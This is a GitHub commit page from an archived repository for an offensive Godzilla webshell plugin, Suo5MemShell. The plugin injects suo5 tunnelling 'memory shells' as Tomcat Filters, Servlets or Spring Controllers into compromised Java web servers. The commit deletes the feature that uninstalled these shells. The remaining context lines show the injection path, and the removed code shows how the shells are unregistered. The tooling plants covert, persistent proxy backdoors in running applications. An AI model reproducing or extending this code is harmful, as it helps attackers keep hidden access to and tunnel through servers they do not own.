Skip to content
This repository has been archived by the owner on Aug 10, 2024. It is now read-only.

Commit

Permalink
refactor: 暂时删除卸载内存马功能
Browse files Browse the repository at this point in the history
暂时删除卸载内存马功能
  • Loading branch information
X1r0z committed Jan 6, 2024
1 parent cfc8fae commit b046ce9
Show file tree
Hide file tree
Showing 9 changed files with 5 additions and 180 deletions.
19 changes: 0 additions & 19 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -23,8 +23,6 @@ WebLogic 10.3.6 - 14

目前支持一键删除注入的 Tomcat/Spring 内存马

> **⚠️ 删除内存马的过程本身存在一定风险, 如果使用不当 (例如参数输入错误) 可能会对正常业务造成影响**
参考:

[https://github.com/zema1/suo5](https://github.com/zema1/suo5)
Expand Down Expand Up @@ -57,12 +55,6 @@ filterName 为可选项, 如果为空则使用 Godzilla 默认生成的随机名

![img21.png](img/img21.png)

插件支持一键删除注入的 Filter 内存马

注意 urlPattern 和 filterName 要和之前设置的值对应

![img22.png](img/img22.png)

### 注入 Tomcat Servlet 内存马

需要指定 urlPattern
Expand All @@ -75,12 +67,6 @@ wrapperName 为可选项, 如果为空则使用 Godzilla 默认生成的随机

![img24.png](img/img24.png)

插件支持一键删除注入的 Servlet 内存马

注意 urlPattern 和 wrapperName 要和之前设置的值对应

![img25.png](img/img25.png)

### 注入 Spring Controller 内存马

仅支持基于 Servlet API 的 Spring 应用
Expand All @@ -89,10 +75,6 @@ wrapperName 为可选项, 如果为空则使用 Godzilla 默认生成的随机

![img19.png](img/img19.png)

插件支持一键删除注入的 Spring Controller 内存马

![img26.png](img/img26.png)

### Others

以下内存马的注入仅需配置 urlPattern 参数, 暂不支持卸载
Expand Down Expand Up @@ -137,6 +119,5 @@ mvn package -Dmaven.test.skip=true
## Todo

- [x] 兼容更多中间件
- [x] 支持卸载 Suo5 内存马 (Tomcat/Spring)
- [ ] 插件体验优化
- [ ] 想到了再写
Binary file removed img/img22.png
Binary file not shown.
Binary file removed img/img25.png
Binary file not shown.
Binary file removed img/img26.png
Binary file not shown.
2 changes: 1 addition & 1 deletion pom.xml
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@
<modelVersion>4.0.0</modelVersion>

<groupId>org.example</groupId>
<artifactId>Suo5MemShell</artifactId>
<artifactId>Godzilla-Suo5MemShell</artifactId>
<version>0.5</version>

<parent>
Expand Down
30 changes: 1 addition & 29 deletions src/main/java/Suo5SpringController.java
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,6 @@ public class Suo5SpringController extends ClassLoader implements Runnable, Hostn
private HashMap parameterMap;
private String urlPattern;
private static String userAgent;
private String action;

public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
Expand Down Expand Up @@ -58,19 +57,14 @@ public boolean equals(Object obj) {
this.parameterMap = (HashMap) obj;
this.urlPattern = getp("urlPattern");
this.userAgent = getp("userAgent");
this.action = getp("action");
return true;
} catch (Exception var3) {
return false;
}
}

public String toString() {
if (this.action.equals("inject")) {
this.parameterMap.put("result", this.addController(new Suo5SpringController()).getBytes());
} else {
this.parameterMap.put("result", this.removeController().getBytes());
}
this.parameterMap.put("result", this.addController(new Suo5SpringController()).getBytes());
this.parameterMap = null;
return "";
}
Expand Down Expand Up @@ -604,26 +598,4 @@ protected String addController(Object springController) {
}
return "ok";
}

protected String removeController() {
try {
// 获取 WebApplicationContext
WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest().getServletContext());

// 获取 RequestMappingHandlerMapping
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

// 构造 RequestMappingInfo
RequestMappingInfo.BuilderConfiguration options = new RequestMappingInfo.BuilderConfiguration();
options.setPatternParser(new PathPatternParser());
RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(this.urlPattern).options(options).build();

// 取消注册 Controller
requestMappingHandlerMapping.unregisterMapping(requestMappingInfo);

} catch (Throwable e) {
return e.getMessage();
}
return "ok";
}
}
40 changes: 1 addition & 39 deletions src/main/java/Suo5TomcatFilter.java
Original file line number Diff line number Diff line change
Expand Up @@ -30,7 +30,6 @@ public class Suo5TomcatFilter extends ClassLoader implements Filter, Servlet, Se
private String urlPattern;
private String filterName;
private String userAgent;
private String action;

public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
Expand Down Expand Up @@ -69,19 +68,14 @@ public boolean equals(Object obj) {
this.urlPattern = getp("urlPattern");
this.filterName = getp("filterName");
this.userAgent = getp("userAgent");
this.action = getp("action");
return true;
} catch (Exception var3) {
return false;
}
}

public String toString() {
if (this.action.equals("inject")) {
this.parameterMap.put("result", this.addFilter(this, this.getStandardContext()).getBytes());
} else {
this.parameterMap.put("result", this.unFilter().getBytes());
}
this.parameterMap.put("result", this.addFilter(this, this.getStandardContext()).getBytes());
this.parameterMap = null;
return "";
}
Expand Down Expand Up @@ -710,38 +704,6 @@ protected String addFilter(Filter filter, Object standardContext) {
return "ok, filterName: " + filterName;
}

public String unFilter() {
Object standardContext = this.getStandardContext();
ArrayList arrayList = new ArrayList();

try {
if (this.filterName != null) {
Object[] filterMaps = (Object[])this.invoke(standardContext, "findFilterMaps", (Object[])null);
if (filterMaps.length >= 1) {
for(int i = 0; i < filterMaps.length; ++i) {
Object filterMap = filterMaps[i];
if (!this.filterName.equals(getFieldValue(filterMap, "filterName"))) {
arrayList.add(filterMap);
}
}

try {
setFieldValue(standardContext, "filterMaps", arrayList.toArray((Object[]) Array.newInstance(filterMaps.getClass().getComponentType(), 0)));
} catch (Exception var7) {
setFieldValue(getFieldValue(standardContext, "filterMaps"), "array", arrayList.toArray((Object[])Array.newInstance(filterMaps.getClass().getComponentType(), 0)));
}
} else {
return "filter number is 0";
}
} else {
return "filterName not is null";
}
} catch (Exception var8) {
return "e: " + var8.getMessage();
}
return "ok";
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = null;
if (obj instanceof Field) {
Expand Down
35 changes: 1 addition & 34 deletions src/main/java/Suo5TomcatServlet.java
Original file line number Diff line number Diff line change
Expand Up @@ -28,7 +28,6 @@ public final class Suo5TomcatServlet extends ClassLoader implements Servlet, Run
private String wrapperName;
private String urlPattern;
private String userAgent;
private String action;

public static HashMap addrs = collectAddr();
public static HashMap ctx = new HashMap();
Expand Down Expand Up @@ -533,19 +532,14 @@ public boolean equals(Object obj) {
this.urlPattern = getp("urlPattern");
this.wrapperName = getp("wrapperName");
this.userAgent = getp("userAgent");
this.action = getp("action");
return true;
} catch (Exception var3) {
return false;
}
}

public String toString() {
if (this.action.equals("inject")) {
this.parameterMap.put("result", this.addServlet().getBytes());
} else {
this.parameterMap.put("result", this.unLoadServlet().getBytes());
}
this.parameterMap.put("result", this.addServlet().getBytes());
this.parameterMap = null;
return "";
}
Expand Down Expand Up @@ -587,33 +581,6 @@ private String addServlet() {
return "ok, wrapperName: " + wrapperName;
}

public String unLoadServlet() {
if (this.wrapperName != null && this.wrapperName.length() > 0 && this.urlPattern != null && this.urlPattern.length() > 0) {
try {
Object o = getFieldValue(this.servletContext, "context");
Field field = o.getClass().getDeclaredField("context");
field.setAccessible(true);
Object standardContext = getFieldValue(o, "context");
Object wrapper = this.invoke(standardContext, "findChild", this.wrapperName);
Class containerClass = Class.forName("org.apache.catalina.Container", false, standardContext.getClass().getClassLoader());
if (wrapper != null) {
standardContext.getClass().getDeclaredMethod("removeChild", containerClass).invoke(standardContext, wrapper);
this.invoke(standardContext, "removeServletMapping", this.urlPattern);
if (this.getMethodByClass(wrapper.getClass(), "setServlet", Servlet.class) == null) {
this.transform(standardContext, this.urlPattern);
}
return "ok";
} else {
return "not find wrapper";
}
} catch (Exception var8) {
return var8.getMessage();
}
} else {
return "wrapperName or urlPattern is Null";
}
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = null;
if (obj instanceof Field) {
Expand Down
59 changes: 1 addition & 58 deletions src/main/java/shells/plugins/java/Suo5MemShell.java
Original file line number Diff line number Diff line change
Expand Up @@ -33,7 +33,6 @@ public class Suo5MemShell implements Plugin {
private final JTextField userAgentTextField = new JTextField("Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3", 20);
private final JComboBox<String> typeComboBox;
private final JButton injectButton;
private final JButton removeButton;
private final JSplitPane splitPane;
private final RTextArea resultTextArea;
private boolean loadState;
Expand All @@ -44,7 +43,6 @@ public class Suo5MemShell implements Plugin {
public Suo5MemShell() {
this.typeComboBox = new JComboBox(PROXY_TYPE);
this.injectButton = new JButton("inject");
this.removeButton = new JButton("remove");
this.resultTextArea = new RTextArea();
this.resultTextArea.append("Godzilla-Suo5MemShell version 0.5, author: X1r0z\n");
this.splitPane = new JSplitPane();
Expand All @@ -60,7 +58,6 @@ public Suo5MemShell() {
topPanel.add(this.typeLabel);
topPanel.add(this.typeComboBox);
topPanel.add(this.injectButton);
topPanel.add(this.removeButton);
this.splitPane.setTopComponent(topPanel);
this.splitPane.setBottomComponent(new JScrollPane(this.resultTextArea));
this.splitPane.addComponentListener(new ComponentAdapter() {
Expand All @@ -83,7 +80,6 @@ private void injectButtonClick(ActionEvent actionEvent) {
ReqParameter reqParameter = new ReqParameter();
reqParameter.add("urlPattern", urlPattern);
reqParameter.add("userAgent", userAgent);
reqParameter.add("action", "inject");

if (proxyType.equals("Suo5TomcatFilter")) {
inputStream = this.getClass().getResourceAsStream("/Suo5TomcatFilter.class");
Expand All @@ -107,7 +103,7 @@ private void injectButtonClick(ActionEvent actionEvent) {
this.resultTextArea.append(String.format("user-agent: %s\n", userAgent));
GOptionPane.showMessageDialog(this.panel, "ok", "提示", 1);
} else {
GOptionPane.showMessageDialog(this.panel, "loader fail!", "提示", 2);
GOptionPane.showMessageDialog(this.panel, "loader fail", "提示", 2);
}
} else {
GOptionPane.showMessageDialog(this.panel, "url pattern is null", "提示", 2);
Expand All @@ -119,59 +115,6 @@ private void injectButtonClick(ActionEvent actionEvent) {

}

private void removeButtonClick(ActionEvent actionEvent) {
try {
String urlPattern = this.urlPatternTextField.getText();
if (urlPattern.length() > 0) {
String proxyType = (String) this.typeComboBox.getSelectedItem();
String name = this.nameTextField.getText();
String userAgent = this.userAgentTextField.getText();
InputStream inputStream;
String className = proxyType;
ReqParameter reqParameter = new ReqParameter();
reqParameter.add("urlPattern", urlPattern);
reqParameter.add("userAgent", userAgent);
reqParameter.add("action", "remove");

if (proxyType.equals("Suo5TomcatFilter")) {
inputStream = this.getClass().getResourceAsStream("/Suo5TomcatFilter.class");
reqParameter.add("filterName", name);
} else if (proxyType.equals("Suo5TomcatServlet")) {
inputStream = this.getClass().getResourceAsStream("/Suo5TomcatServlet.class");
reqParameter.add("wrapperName", name);
} else {
inputStream = this.getClass().getResourceAsStream(String.format("/%s.class", proxyType));
}

byte[] classByteArray = functions.readInputStream(inputStream);
inputStream.close();
boolean loaderState = this.payload.include(className, classByteArray);

if (loaderState) {
byte[] result = this.payload.evalFunc(className, "run", reqParameter);
String resultString = this.encoding.Decoding(result);
Log.log(resultString, new Object[0]);
if (proxyType.equals("Suo5TomcatFilter")) {
this.resultTextArea.append(String.format("removing Suo5TomcatFilter, filterName: %s, urlPattern: %s, result: %s\n", name, urlPattern, resultString));
} else if (proxyType.equals("Suo5TomcatServlet")) {
this.resultTextArea.append(String.format("removing Suo5TomcatServlet, wrapperName: %s, urlPattern: %s, result: %s\n", name, urlPattern, resultString));
} else {
this.resultTextArea.append(String.format("removing %s, urlPattern: %s, result: %s\n", proxyType, urlPattern, resultString));
}
GOptionPane.showMessageDialog(this.panel, "ok", "提示", 1);
} else {
GOptionPane.showMessageDialog(this.panel, "loader fail!", "提示", 2);
}
} else {
GOptionPane.showMessageDialog(this.panel, "url pattern is Null", "提示", 2);
}
} catch (Exception var13) {
Log.error(var13);
GOptionPane.showMessageDialog(this.panel, var13.getMessage(), "提示", 2);
}

}

public void init(ShellEntity shellEntity) {
this.shellEntity = shellEntity;
this.payload = this.shellEntity.getPayloadModule();
Expand Down

0 comments on commit b046ce9

Please sign in to comment.